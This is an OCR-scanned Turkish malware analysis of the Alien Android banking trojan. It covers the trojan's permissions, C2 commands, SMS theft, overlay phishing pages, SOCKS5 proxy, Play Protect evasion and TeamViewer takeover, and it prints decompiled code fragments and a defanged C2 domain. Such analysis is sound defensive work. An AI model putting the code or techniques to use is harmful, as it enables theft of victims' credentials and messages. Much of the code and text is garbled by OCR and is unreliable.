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Giris

Alien zararlisi ilk olarak MaaS (Malware as a Service) forumlarda ring0 isimli kullanici
tarafindan tanitilmistir. Alien zararhsini ThreadFabric raporlarina gore Cerberus V1'in bir
uzantisi oldugu gortiinmektedir. 2020 vyili baslarinda gelistirilmesi durdurulan Cerberus
zararlisina alternatif olarak, Cerberus ailesinden ayrilan ya da bu aile Gyeleri tarafindan
gelistirildigi tahmin edilmektedir.

2020 Mayis ayinda biiyuk bir yenilik sunmayan Cerberus zararlisi dnceki versiyona ek olarak
yalnizca Google Authenticator uygulamasindan bilgi calabilme yetkinligini eklemistir. Bu
zararl islemi gergeklestiren kod yapisi subat 2020’de gikartilan Alien zararlisi ile neredeyse
aynidir. Bu benzerlik Cerberus zararhsi gelistiricilerinin Alien gelistiricileri ile iliskisi oldugu
yoniinde sUpheleri arttirmaktadir.

Everyone who wants to rent can contact me

Mpemuym He has nothing to do with the alien product, possibly a ripper

Pervcrpauma: 11.10.2019
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Android Banking Trojan tiirlindeki Alien zararhsi, siradan Banking Trojan zararhlarindan daha
kabiliyetli bir yazilimdir. Alien zararlisi kurban cihaz (izerinde sms, rehber, ¢agri kaydi gibi
onemli Dbilgileri uzak sunucuya aktarabilmek, C2 sunucusundan gelen komutlan
¢alistirabilme, gelen bildirimleri okuyabilme gibi Ust diizey yeteneklere sahiptir.
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Alien, Cerberus’dan miras aldigi 6zellikleri sunlardir;

- Gergek uygulamalarin (zerine sahte html sayfasi gostermek, baska bir tabirle overlay
attack.

- Tus vuruslarini kaydetmek.

- Uzaktan erisim ve kontrol.

- SMS’leri toplama, yonetme, génderme.
- Cihaz hakkinda bilgi toplama.

- Rehberde ki kisileri toplama.

- YUklU olan uygulamalarin listesini alma.
- Lokasyon takibi.

- Cagir yapma ve yonlendirme.

- Uygulama silme, yikleme, baslatma.

- Cihazi kilitleme

- Bildirim gésterme

- Kendi ikonunu saklama, silinmeye karsi koruma, sanal makine tespit etme.

Gibi davranislari vardir. Bu davranislar goriildiigi Gzere Cerberus’un ana 6zelliklerindendir.

Alien’in Cerberus’dan en belirgin farki ise C2 sunuculari ile iletisim kurarken farkh bir yapida
POST istegi gondermektedir.
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Detayh Analiz

AndroidManifest.xml’e bakildiginda oldukga kritik yetkilerin istendigi gdzlenmektedir. Bu
yetkilerin bircogunu c¢alisma aninda kullaniciya sormadan kullanabilmek icin diger bircok
zararli yazihm gibi Erisilebilirlik Servisi iznini alarak gergeklestirmektedir.

Zuses-sdk and’:id:TinSd{fe*si:n="23" and’:id:ta’gétSd{fe*si:n="29"5>

<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permissicn android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission. CHANGE_WIFI_MULTICAST STATE"/>
<uses-permission android:name="android.permission.FOREGROUND SERVICE™/>

<uses-permissicn android:name="android.permission.GET_ACCOUNTS" />
<uses-permissicn android:name="android.permission. INSTALL_SHORTCUT" /=
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permissicn android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permissicn android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permissicn android:name="android.permission.WRITE_EXTERNAL STORAGE"/>
<uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>
<uses-permissicn android:name="android.permizsion.READ_PHONE_STATE"/>
<uses-permissicn android:name="android.permission. REQUEST_IGNORE_BATTERY OPTIMIZATIONS"/>

<uses-permissicon android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permissicon android:name="android.permission.READ_CONTACTS"/>
<uses-permissicn android:name="android.permizsion.RECORD_AUDIO" />
<uses-permissicn android:name="android.permission.RECEIVE_SMS"/>

Sifrelenmis KejDwbo.json dex dosyasi calisma zamaninda yuklenerek zararl faaliyetlerini
gerceklestirmektedir.

ft.divert.acid/app DynamicOptDex # ls

fapp_DynamicOptDex # cd ..

# 1s

apk app "ES app we ew cache c he shared_pref
d #

Zararl faaliyetlerin takibini SharedPraferences nesnesi olan Ring0.xmld dosyasindaki
degiskenler araciligiyla saglamaktadir. Zararlh dex calistirildiginda ekran boyutu SW ve SE
degiskenlerine kaydedilmektedir. Alinan ekran boyutu Play Protect servisini durdurmak icin
kullanilmaktadir.

ft.divert.acid/app DynamicOptDex # ls

fapp_DynamicOptDex # cd ..
# 1s
apk app_textures app_webview he code_cache shared_pref
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public final void addValuetoSharedPref(Context context, String str, String str2) {
SharedPreferences.Editor edit = context.getSharedPreferences(this.encrypted texts.string_ring®, 8).edit();
edit.putString(str, str2);
edit.commit();

public wvoid DntreatE[Eunale Eundleﬁ 1

I

super.cnCreate(bundle);

Point point = new Point();
getWindowManager().getDefaultDisplay().getSize(point);
gluchgbisvsxy bVar = this.f798@a;

String str = this.f792c.str SW;

StringBuilder sb = new StringBuilder();
sb.append(point.x);

bVar.addValuetoSharedPref(this, str, sb.toString());
gluchgbisvsxy bWar2 = this.f798a;

String str2 = this.f792c.str SE;

StringBuilder sb2 = new StringBuilder();
sb2.append(point.y);

bVar2.addValuetoSharedPref(this, str2, sb2.toString());

Accessibility servis yetkileri ile ekran Uzerindeki bilesenleri tespit ederek Play Protect
korumasini kapatmaktadir.

, parselntS 2, parselnté - r@);

"1"N) {
(“android:id/button1”})) {

n1")};
(strarr[r53])) {

("android:id/buttol




Alien, kendi ikonunu gizlemek igin setComponentEnabledSetting metodunu kullanmaktadir.

ypted texts.f949m.

0-

NENT_ENABLED_STATE_|

Alarm servisi kullanilarak belirli aralklarla “ntpvhfaymn” isimli Broadcast Reciever
tetiklenmektedir.

{context,

("alarm")}). e, . . (context, @, intent, @));

if (intent.getAction().equals(this.f1828a.android_provider_Telephony SMS_RECEIVED)) {
CLASS ONEMLI bVar = this.f1821b;

try {
Bundle extras = intent.getExtras();
if (extras != null) {
Object[] objArr = (Object[]) extras.get("pdus™);
String str = "";

String str2 =
if (cbjArr != null) {
int length = objArr.length;
int rd4 = 8;
while (r4 < length) {
SmsMessage createfFromPdu = SmsMessage.createFromPdu((byte[]) objarr[ra]);
str2 = str2 + createFromPdu.getDisplayMessageBody();
rdt++;
str = createFromPdu.getDisplayOriginatingAddress();
1
String str3 = "Input SM5: " + str +
bvar._log("sendsMs™, str3);
bvar.addToSharedPref(context, bVar.encrypted_texts.string_AS, str3);
bVar.post_sms_log(context, bVar.editorSharedPref(context, bVar.encrypted_ texts.string QQ));

Text: " + str2 + "[143523%]";

Zararh servislerin arka planda ¢alisabilmesi icin batarya optimizasyonunu kapatilmaktadir.

intent.
intent.
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Komuta kontrol sunucusundan gelen komutlari ydoneten “qtnaqq” servisi internet baglantisi
kontrol edilerek baslatilmaktadir.

/% renamed from: L */

public final void me3981(Context context) {

if (isConnectedNetwork(context)) {

if (!isRunningService({context, IntentService_qtnagqq_C2.class)) {
context.startService(new Intent{context, IntentService_gtnagq_C2.class));
1
b
} else if (!isLockScreenActive(context)) {
try {

if (_var_wakelock != null) {

_var_wakelock.release();
1

5

PowerManager.Wakelock newWakelock = ((PowerManager) context.getSystemService("p
_var_wakelock = newwWakelock;

newWakelock.acquire();

catch (Exception unused) {

r") ). newkakelock (885386394, getClass().getName());

JSON formatinda uzak sunucuya aktarilmak tizere toplanan veriler igerisinde batarya ylzdesi,
device policy, dil bilgisi, Erisilebilirlik Servis durumu, varsayilan SMS uygulamasi, kurban cihaz

ID, kullanilan hattin telefon numarasi, kayith Google hesaplari, cihazdan alinan izinler gibi
veriler bulunmaktadir.

{context));
[0)F

_READ_PI E_STATE)

Cihaz Uzerinde toplanan veriler http[:]//chujwdupepolicji[.]xyz web sunucusuna post
edilmektedir.

/* renamed from: b */
private String httpPostRETResponse(String str, String str2) {
g str3 = str2 + "Zend=0
a = subString(str3,
a2 = substring(str3,
‘ "+ oa2);
= new OkHttpClient();
FormBody.C8852a a3 = new FormBody.CB@52a().mo289a("q", a).mo2@da( ws", a2);
FormBody oVar = new FormBody(a3.fss4a, a3.fs8sb);
Request.UndefinedClass aVar = new Request.UndefinedClass();
if (str != null) {
if (str.regionMatches(true, @, "
str = "http:” + str.substring(3
} else if (str.regionMatches(true, B,
str = "https:” + str.substring(4)

1

}
HetpUrl d = HttpUrl.m3ged(str);
if (d != null) {
Response ad = new RealCall{uVar, aVar.mo258a(d).checkStringANDisvalidRequestBodyReturnObject("POST", BVar).RequestHttpURL(), false).mol79a();
try {
String d2 = a4.f709g.mo171d();
if (a4 I= null) {
ad.close();
}
return d2;
} catch (Throwable th) {
th.addSuppressed(th);
}
} else {
throw new I1legalArgumen
)

ion("unexpected url: ".concat(String.valueof(st

}
} else {
throw new 1l

tion("url == null®);
)

}
throw ths



Eger uzak sunucudan 503 cevabi alinirsa yeni domain bilgisini daha 6nce tanimladig
adreslerden almaktadir. Uzak sunucu kapali oldugundan bu adresler “ring0.xmld”ye
kaydedilemedigi gbzlenmektedir.

4413 6490 W System.
4413 6490 W
4413 6490 W
4413 6490 W System.erx:
4413 6528 E **GET_NEW_I I
4413 6529 E qenaqgy ¢ EnCryptResponce:
4413 6529 E qrnaqq  : CheckBotRESEONCE:
4413 4413 E ntpvhfaymn  : run boot broadcast_receiver
575 857 Suspiciously short interval 20000 millis; expanding to 60 seconds
575 1171 Tdentity: ACTive mobile network without subscribe
4413 6535 sonCheckBot: "null®, "BL":"100", "TW":"3574", "SA":"0", "SE":"2", "S5":"
15555218135
4413 6535
4413 6535
4413 6535
4413 6535

at android.cs.RayncTasksSerialExecutorsl.run(AsyncTask.java:24d)

at Java.util.concurren adPoolEXecuto nWorker {ThreadPoclEXecutor.java:1133)
at java.util.concurrent.ThreadFoolExecuto eadPoolExecutor. Java: §07)
at java.lang.Thread.run(Thread.java

un (TI

n "LE"imenw, "SYTieLT, "SM":"0", "1D": "ferl-sbhi-ayde-

://chujwdupepelicii.
info device  M2R3ZNZKYTEyMDgON2MyYjZkOGI4MmJjMrMOCT1nY 2Q5NmYiMDY4NGZ] ZGU4NDk20TARNZ JONY3
ZE1R] FhZGY4¥mNkZWVhZhhCTY 2N2EXZTgxMET yMzEwd ] UyMnE 2Nl 3ZWU1NDU2Nz JmOT LOMnIy
OTR1ZDg0¥z2k¥TV]ZEUSZ] guMDQSMIENZDQ3Y2Y yMaUSY ] FRMIVKNGMAZ j Y22 DEANTAiNGY0Y Tgx

4413 6535 mVhY V3 ¥ ] gLNGE4YRY 22 Do SMT ThODg0 ZDCaNDh 10T JmyWQLORU40DBKZ B4 MMMz LkM] kzMj g2
4413 6535 ZTEyODY4ZTCANGN1NI MOCENEMEQaN2d 1 MEQ4NTAL Y2 Fi 2 TUSM  gy2 T JhODR] 2 U30WVNmY20DM4
4413 6535 NGEyNGE] ZTgyMmEaNTVIN] YyNuR INWE  MmQwyTZ 1 DY1Y2NkMzk3MIMxOTY00TZiZ 00z

4413 6535 Tg4ZWFhNZU2NGE yMEFmY TIkZNMS YzMzMzhhM2E 1 N2g00TNL YRNKN2 ¥ xMT Fhz DoxM2u3M] a1
4413 6535 jsonCheckBot
4413 6538 java.net.UnknownHostException: Invalid host: https://

4413 6538 W System.

at com.android.okhttp.Btoplrl.getChecked (HotpUrl. java:670)

Guncel sunucudan gelen veri "get_new_patch” ve AL degeri “1” ise uzak sunucudan glincel
zararh apk’si indirilmektedir.

ring@_apk),
fileQutputsStream.
FfileQutputsStream.




+ jSONObject3.
(bVar2. ( , dVar.q_new_device ws + .F182%a._e
CE: " + h3);

(context, dvar.QI,

Sunucudan gelen cevap “get_new_patch” veya “no_device” degil ve uzunlugu 4’ten biylikse,
donis degerinde bulunan “this” komuta kontrol sunucusundan gelen komutlari tutmaktadir.

.fle2%. {context, dVar.string QE} = "," + jSONObject4. {"urls"));
("-1")) {
SONObjectd.
("-1")) {
SONObject4.
("-1")) {
I, jSONObjectd.
("-1")) {
SONObject4. ("admin_t")};
("-1")) {
SONObjectd.

("-1"}{

C2 sunucudan gelen “device_settings#” komutu ile cihaz Uzerinde toplanacak verilerin
belirlenmesi saglanmaktadir.

if (jSONObjecta.
T - (
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("grabbing_lockpattern")) {

Komut tablosu asagidaki gibidir;

C2 sunucusundan cihaza gelen “this” varliginin degeri “run_cmd” ise “data” varlig
icerisindeki deger komut olarak islenmektedir.

grabbing_lockpattern

AS = Lock Pattern: {PATTERN} [1435234#]

run_record_audio

Ses kayit

run_socks5

Sunucudan gelen host, user, port, password
bilgilerine gore soket agilabilir.

update_inject

stop_socks5

S5 degerini “stop” yaparak soketi
kapatmaktadir.

rat_connect

change_url_connect

Bilgilerin  gonderilecegi  web  adresinin
degistirilmesi icin kullaniimaktadir.

request_permission

SI=1
Belirtilen iznin cihazdan istenmesi igin kullanilir.

clean_cache

AS=” ”’ AM=””

change_url_recover

send_mailing_sms

Sunucudan gelen numara ve mesaj bilgisi ile
mesaj gondermek icin kullaniimaktadir.

run_admin_device

access_notifications

Notification listener erisimini ister.

url

ACTION_VIEW

ussd

intent.action.CALL

sms_mailing_phonebook

get_data_logs

YUklG uygulamalar, rehber ve sms bilgilerini

toplar.
get_all_permission WRITE_EXTERNAL_STORAGE, SEND_SMS,
RECORD_AUDIO, READ_PHONE_STATE,

READ_CONTACTS

grabbing google authenticator2

Google Authenticator uygulamasindan bilgi
¢almak icin bu uygulamayi baslatmaktadir.

notification

Bildirim gostermek icin

grabbing pass_gmail

AS = Start Injection:  Grabbing password
Gmail[1435234]

4




remove_app SQ=1 ve QR=Uygulama Adi
Uzak sunucudan gelen paket adina gore
uygulama silinebilir.

remove_bot SQ=1 ve QR=Paket Adi
Uygulama cihazdan kendisini silebilir.

send_sms Sunucudan gelen numara ve mesaj bilgisi ile
mesaj géndermek icin kullaniimaktadir.

run_app Paket adi bilinen ve yukli uygulamayi
baslatilabilir.

call_forward CGagri yonlendirmesi

patch_update AL= 0 ve apk klasoriindeki ring0.apk dosyasini

silmekte.

Cihazda kayitl Google hesaplari kontrol edilerek bu hesap isimlerinin eklendigi sahte Google
Hesap Giris sayfasi gosterilerek kullanici bilgileri calinmaktadir.

.f1001a.f919bg) . { ‘en'™, “var lan ’ langu:

. -RR))
(parselnt));

Google

Welcome

@ %gmall_to_device®

Password @ filexs

Forgot password? {"code" [ type_injects":"pincode”,"closed": "close_activi




Kilit ekrani desenini ¢almak igin sahte web sayfasi gosterilmektedir.

attern"}) {
.f1881a.f925bm + -f1801a.f926bn + -f1881a.f927bo + .fleela.f928bp
int parselnt2 : .f1002b. ( ; . .GRY) + -1;
.f1002b. , : -GR, . (parselnt2));
if (parselnt2 <=
.f10e2b.

1
i
.1862b. ( . ing_ AS t Injection: Grabbing pattern lock
.f1083c.
.flee3c);

Uzak sunucudan gelen tanimh olmayan web sayfalari da kullaniciya gosterilebilmektedir. Bu
sayede kullanictlya istenilen banka uygulamasinin  web sayfasi taklit edilerek
gosterilebilmektedir.

[f10064) ;
(this.f1002b. ; Jf1e06f)). ("var lang = 'en'",
0);

»", "<html lang=\" . . () +7"7);

.£1062b. _log( o
Ral:rl B { 0 A7 rt In on: [fl1eeef| + "[143523#]");
.f1e03c. ( , replace3, -
( .flee3c);
.£1882b. _log( .f1085e, “"app3: " + replace3.

C2 sunucusundan gelen “send_sms” komutu ile kurban cihazdan istenilen kisiye mesaj
gonderilebilmektedir.

(context, jSONObject6. ("n"), jSONObjecté.
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{ /* renamed from: b */
public final void sms_send_mo374b(Context context, String str, String str2) {

try {
smsManager smsManager = SmsManager.getDefault();
Arraylist<String> divideMessage = smsManager.divideMessage(str2);

( PendingIntent broadcast = PendingIntent.getBroadcast(context, @, new Intent("sM5_SENT"), @);
PendingIntent broadcast2 = PendingIntent.getBroadcast(context, &, new Intent("SM5_DEL "l B);
A izt<PendingIntent> arraylList = new Ar i ()
it t<PendingIntent> arraylList2 = new Arra, t<x();
for (int r2 = 8; r2 < divideMessage.size(); r2++) {
arraylist2.add(broadcast2);
arraylist.add(broadcast);

1
;msManager.sendMultipartTextMessageLstr, null, divideMessage, arraylist, arraylist2);
String str3 = "Output SM5:" + str + " tewt:™ + str2 + "[143523%#]";
_log("sMs", str3);
addToSharedPref(context, this.encrypted_texts.string_As, str3);
post_sms_log(context, editorSharedPref(context, this.encrypted_texts.string QQ));

} catch eption unused) {

}

}.
Telefon aramasi gergeklestirmek igin "ussd” komutu kullanilmaktadir.
case HttpUrl.C@es4a.EnumCe@e55a. intTwo:

CLASS_ONEMLI bVar3 = this.f1829a;

String string2 = jSONObject6.getString(m812a("N2M="));

try {
Intent intent = new Intent(“android.intent.action.CALL");
intent.addFlags(268435456);
intent.setData(Uri.parse("tel:™ + Uri.encode(string2)));
context.startActivity(intent);
String stré = "USSD: " + string2 + "[143523%#]";
bvar3._log("UssD", stré);
bVar3.addToSharedPref(context, bVar3.encrypted texts.string AS, stré);
return;

} catch =
bvar3. log(’ Start UsSsD");
bvar3._leg("ussp”, ' or USSD[143523#]");
bvar3.addToSharedPref (context, bVar3.encrypted texts.string_ AS, "Error USSD[143523%]");
return;

Gelen cagrilari yonlendirmek icin “call_forward” komutu kullaniimaktadir.

case HttpUrl.C@854a.EnumC@@855a.intThree

CLASS_ONEMLI bVar4 = this.f1@829a;

String string3d = jSONObjectf.getString(mdl2a("Njc="));

try {
Intent intent2 = new Intent(“android.intent.action.
intent2.addFlags(268435456);
intent2.setData(Uri.fromParts("tel"”,
context.startActivity(intent2);
String str7 wardCALL: " + string3 + "[143523#]";
bvar#. leg("ForwardCall”, str7);
bvar4.addTeSharedPref(context, bVar4.encrypted_texts.string AS, str7);

" gy 4

21" + string3 + "#", "#"));

return;
T catch ( on unusedd) |
bvar4._log wardCall”, "Error”);
bvar4.addTosharedPref(context, bvar4.encrypted texts.string_AS, "ERROR callForward” + string3 + "[143523%]");
return;
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Notification komutu ile kullaniciya bildirim gosterebilir.

case HttpUrl.C@@54a.EnumC@@55a.intFour:

CLASS_ONEMLI bvars = this.f1029a;
stringd = jSONObjects.getString(m8l2a( "Nig=
strings = jSONObject6.getString(m812a( "N2{w
stringé = jSONObject6.getString(m8l2a("N2QuNQ==

String j4 = bVarS.editorSharedPref(context, "icon ".concat(String.valueOf(stringd)));
if (j4.length() < 188) {

bVar5._log(“notification®, "o File Png Icon"};

return;

v
|

1

I

Intent launchIntentForPackage = context.getPackageManager().getLaunchIntentForPackage(string4)

byte[] decode2 = Basedd.decode(j4.substring(j4.indexof(",") + 1), 8);

Bitmap decodeByteArray - BitmapFactory.decodeByteArray(decode2, @, decode2.length);

if (Build.VERSION.SDK_INT > 25) {
NotificationManager notificationManager = (NotificationManager) context.getSystemService("notification”);
PendingIntent activity = PendingIntent.getActivity(context, @, launchIntentForPackage, @);
NotificationChannel notificationChannel new NotificationChannel("channel_1", "123", 4);
notificationChannel.setDescription("123
notificationChannel.enablelights(true
notificationChannel.setlightColor(-1)
notificationChannel.enableVibration(true);
notificationChannel.setvibrationPattern(new long[]{156@, 1588, 1588, 1588, 1588});
notificationChannel.setShowBadge(false);
notificationManager.createNotificationChannel{notificationChannel);

Notification build = new Notification.Builder(context, "channel 1").setContentTitle("Title").setSmallIcon(context.getResources()
build.flags = build.flags | 16;
notificationManager.notify(1l, build);
} else if (Build.WERSION.SDK_INT > 15) {
Notification build2 = new Notification.Builder(context).setContentIntent(PendingIntent.getActivity(context, 188, launchIntentFerF,
build2.flags = build2.flags | 16;
((MotificationManager) context.getSystemService("notification”)).notify(1, build2);
1
I
decodeByteArray.recycle();
bvars.addTosharedPref(context, bVarS.encrypted_texts.string_AS, "Run push notification " + stringd + "[143523%]");
return;
1 catch |
return;

on unused1®) {

“get_data_logs” komutu ile yukli uygulamalar, rehber ve sms bilgileri toplanarak
SharedPreferences nesnelerine kaydedilmektedir.

case HttpUrl.Cees4a,EnumlBB55a.intFive:
this.f1le29a. getInstalledApplicationsicontext);
this.fle29a. getContactscontext);
this.f182%a. getsSMS({context);
return;

“url” komutu ACTION_VIEW kullanarak kullaniciya web sayfasi gosterebilir.

public static woid _ACTION_VIEW(Context context, String str) {
try {
context.startActivity(new Intent({"android.intent.action.V
} catch (Exception unused) {
Intent intent = new Intent("android.intent.action.V
intent.addFlags(268435456);
intent.addFlags(1873741824);
context.startActivity(intent);

, Uri.parse(str)));

, Uri.parse(str));

“run_app” komutu ile paket adi bilinen uygulamalar baslatilabilir.

e

/* renamed from: f */
public static void startActivity_geod(Context context, String str) {
context.startActivity(context.getPackageManager().getLaunchIntentForPackage(str));




“get_all_permission” WRITE_EXTERNAL_STORAGE, SEND_SMS, RECORD_AUDIO,
READ_PHONE_STATE, READ_CONTACTS izinlerini kontrol eder ve sunucuya kayitli datayi
gondermektedir.

“run_socks5” sunucudan gelen bilgilerle birlikte socket acar. S5 degiskeni “stop” a esit olana
kadar soket agik kalmaktadir. Eger apk klasoriinde “ring0.apk” bulunuyorsa DexLoader ile
yuklenmektedir.

( :
§SONObject6.
§SONObject6.
§SONObject6.
§SONObject6.

public void enHandleIntent(Intent intent)
this.f1060a.addvalustosharedPref (this, this.f1e61b.string 55, *");
String a = CLASS_ONEMLI. returnCountryCode(this);
if (a.length() != 2) |

getDefault(). getCountry( ). toLowerCase();

a = Loc

Ty

tring stringExtra = intent.getStringExtra("h
tring stringExtra2 = intent.getStringExtra("use
String stringExtra3d = intent.getStringExtra(pas
String stringExtra4 = intent.getStringExtra(”
CLASS_ONEMLI bVar = this.fle6ea;

if (bVar.send_socket_info(this, bvar.editorSharedPref(this, this.f1@61b.string_QQ), a, stringExtra, stringExtra4, stringExtra?, stringfxtra3).equals(mo583a("Mj’
Thread thread = new Thread(new Runnable() {

/* class beyond. just.settle. IntentService_wuynkhukd.Runnablecoos4l */

v

public final void run() {
try {
rverSocket serverSocket = new ServerSocket(45555);
CLASS_ONEMLT bvVar = IntentService_wuynkhukd.this.flecoa;
String a = IntentService wuynkhukd. this.mo5@3a("NTkxZ M4NWIzMr
bvar._log(a, IntentService_wuynkhukd.this.moS@3a("NTkwjI1NTe3Ng
while (true) {
Socket accept = serverSocket.accept();
if (Thread.currentThread().isInterrupted()) {
serverSocket.close();
accept.close();
return;
,

UnMGUXMw==") ;
) + serverSocket.getlocalPort());

}
new Thread(new Runnable_pykb(accept)).start();

. 5 N
i noe)

{
IntentService wuynkhukd.this.fle6@a. log(IntentService wuynkhukd.this.moS@3a("NTkyMALN
e.printStackTrace();

E10DI4MTCO"), IntentService wuynkhukd.this.moS5@3a("l

“stop_socks5” S5 degerini “stop” yaparak soketi kapatmaktadir.




“run_record_audio” komutu ile cihazda ses dinlemesi yapilabilmektedir.

AUDIO). ("1")
( s

( »
jSONObjecth. (
7 rd_audio"));

.f1829a. : (context, dVar

B
i

. (intent.
intent. ("name”
if (parselnt parselnt == -
.f1635d

.f1833b. _ s .f1835d);
.f1833b. _ ime - (parselnt));

.f1033b.
.f1832a =
mediaRecorder.
Recorder.
Recorder.

(context, dVar.AL, "8);

{context. ("apk”, @), "ring®.apk"). ();

unusedll) {

RQ degeri sunucuyla olan baglantiyi temsil etmektedir. Bu deger “disconnect” degil ise C2
sunucusuna cihaz bilgileri génderilerek cihaza génderilmis olan komutlar alinmaktadir. JSON
icerisindeki “rat_cmd” degeri C2’den gelen komutu tutmaktadir.

Gelebilecek komut listesi sunlardir; “open_folder”, “uploadind_file”, “get_apps”,
“connect_teamviewer”, “open_teamviewer”, “send_settings”, “device_unlock”.

y




ring.
string =

(replace));

“uploadin_file” komutu uzak sunucudan istenen dosyayi upload etmek icin kullaniimaktadir.

(S

S
LA LA LA LA

(§SONDbject3.

ageManager = ();
applicationInfo : ageManager.
. (applicationInfo.pac

(r2), applicationInfo.pa

(jSONObjects.




“connect_teamviewer” komutu ile sunucudan gelen komutlara gore kullaniciya sahte System
Update ekrani gosterilmekte ve TeamViewer uygulamasi baslatilmak istenmektedir.

NObjects.

JSONOD

System Updates

Please wait
Install a system update

TeamViewer Uzerinden zararli islem gerceklestirecegi zaman kullaniciya sahte System
Update bitmap’i gdsterilmektedir.

y




,’

e
public int onStartCommand(Intent intent, int r4, int r5) {
if (!this.f1863a.editorSharedPref(this, this.f1864b.RS).equals(m82@a( "N20xZjIyNDY=")}) {
return rd;
1
g
Bitmap b = CLASS_ONEMLI.m683b(this.f1@64b.f936bx + this.f1064b.f937by + this.f1@64b.f938bz + this.f1@64b.f988bA + this.f1064b.f989bB + this.fl@
ImagevView imageView = new ImageView(this);
imageview.setImageBitmap(b);
Toast toast = new Toast(getApplicationContexti));
toast.setGravity(16, @, @);
toast.setDuration(@);
toast.setView(imageview);

toast.show();
return r4;

Zararh kapattig1 Play Protect servisinin kullanici tarafindan agilmasini engellemek icin Play
Protect ayar ekrani acildiginda cihazi geri tusuna 2 kere basarak bu sayfadan c¢ikmaya
zorlamaktadir.

sibilityncdeInfo.

Zararh calistigl sistemde ki SMS ve SMS gonderen kisileri almak icin Broadcast Receiver
kullanmaktadir. Ayirca Jobinfo ve Alarm kullanarak her 2000 saniyede bir SMS’leri
almaktadir.

Ayrica elde ettigi SMS ve SMS gonderen telefon numaralarini SharedPrefs ve JSON olarak
tutarak C2 sunucularina aktarmak tGzere saklamaktadir.

SEleng e >
if (ebjArr != null) {
int length = cbjArr.length;
int r4 = @;
while (r4 < length) {
smsMessage createfromPdu = SmsMessage.createFromPdu( (byte[]) objArr[r4]);
str2 = str2 + createFromPdu.getDisplayMessageBody();
rd+t+;

str = createFromPdu.getDisplayOriginatingAddress();
1
I
String str3 = "Input SMS: " 4+ str 4+ " Text: " 4+ str2 + "[143523%]7;
bvar.a("sendsMs”, str3);
bvar.f(context, bvar.f239a.ab, str3);
bvar.h(context, bVar.j(context, bVar.f239a.Q));

y



,’

e
{ Sistemde yiikli olan uygulamalarin listesini JSON olarak kaydetmektedir.
1S0NObject jSONObject4 = new ISONObject();
PackageManager packageManager = getPackageManager();
for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(@)) {
if (packageManager.getLaunchIntentForPackage(applicationInfo.packagelame) != null) {

jSONObject4.put(String.valueOf(r2), applicationInfo.packageName);
r244;

Sistemin internete bagh olup olmadigini ve network tipini (connected, metered vs) kontrol

etmektedir.
ve, 1 po {montext=
; 1
pl Cannot eve
{p@, v@}, <ref ConnectivityManager.getNetworkInfo(int) imp. @ _def_ConnectivityManaj (int)ve 1
vl, loc_8A3CE8 (int)wl 1
(bool)vl true
] ' —

<boolean NetworkInfo.isConnected() imp. @ _def_NetworkInfo_isConnected@Z>

oc_BA3C3

Zararh yazilim, ilk agilista Accessibility Servislerini kullanarak gerekli yetkileri almak icin sahte
bir html sayfasi olusturmaktadir.

Xiaomi’de kullanilan MIUI araytizden dolay: zararl yazilim, kullanici Xiaomi marka telefon
kullaniyor ve Xiaomi telefonlarda kullanilan MIUI araytizi versiyonu 11 veya 11'den buylk ise
farkh bir class’i calistirmaktadir. iki class’da ayni isi yapmakta fakat MIUI arayiiziine uygun
olmasi icin ona 6zel ayarlanmasi gerekmektedir.

this.c = new WebView(this);
this.c.getSettings () . setJavaScriptEnabled (trus) ;
this.c.setScrollBarStyle (D)
this.c.setWebViewClient (new b (this, (byte) 0));
this.c.setWebChromeClient (new a(this, (byte) 1y
this.c.addJavascriptInterface (new WebfppInterface (this), "Android");
String e = b.e(this.f2%%.bh + this.f2%%.bi + this.f2%%.bj + this.f29%%b.bk + this.f29%%b.bl1);
String lowerCase = Locale.getDefault().getLanguage () .toLowerCase() s
String a2 = "wvar lang = 'en'";
Scring Ieplace = e.replace(az, "var lang = '" + lowerCase + "'").replace("3tart Rccessibility™), this.f29%b.3);
if ("=i ") .equalsIgnoreCase (Build.MANUFACTURER) ) {

if Eb a:} = Y i

String a3 = "%Enable Accessibili ice

str = replace.replace (a3, this.f d:} + thls f298a.c())
this.c.loadDataWithBaseURL (null, str, a("text/html"), "UTF-2", mnull):
setContentView(this.c)
}
b.a():
}
str = replace.replace("%Enable Rccessibil
this.c. lnadDataW1t1:aseURLtnull str,
setContentView (this.c)

=%"), this.f298a.c()):
, "UTF-8", nall);




“:.Enable_Accessibllity_Servicei:

( < Accesslbllity Service
DOWNLOADED SERVICES

Switch Access

TalkBack /

Start Accessibility

Ayrica sistemin dili Tlirkge ise zararl yazihm html sayfasindaki bashgi Turkce yapmaktadir.

pukrlic fimal String c) {
try {
JSONOkbject J5CHChject = new JSONCkject(this.f23%a.bc) !
String lowerCase = Locale.getDefault () .getlLanguage () .tolowerCase()

if (lowerCase.equals("tz"}) {
return "Liitfen immuni Etkinlestirin™;
1
String string = j50HCbhject.getString({lowerCase) ;
retorn string + " " 4+ "immuni™:
} catch (Exception unused) {
retuorn "Enakle”™ + " " 4+ "immuni™;




pe

Zararli yazilim, sistemin ses ve titresim ayarlarini kapatmaktadir.

public static void y(Context context) {
try {

AudioManager audioManager = (AudicManager) context.getSystemService("audic");
audioManager.setStreamute(l, true);

audioManager.setStreamute(3, true);

audioManager.setStreamVolume(4, @, @);

audioManager.setStreamVolume(3, 2, 2);

audioManager.setStreamVolume(s, @, @);

audioManager.setStreamVolume(2, @, 2);

audioManager.setVibrateSetting(l, &);

} catch (Exception unused) {

Eger zararli yazihm yonetici yetkilerine sahip ise cihazi kilitleyebilmektedir.

do |
try {
b.a(le);
b bvar = this.f275a;
try |
{ (DevicePolicyManager) getSystemService("device policy™)).lockNow();
} catch (Exception unused) {
bvar.a(bvar.f239a.ah, "ERROR");

E.yithis?;

} catch (Exception unused2) {

Zararh yazilim, neredeyse diinyada konusulan ¢ogu dili hedef almaktadir. Fakat eski Sovyet
Ulkelerinden herhangi birisi listede yoktur.

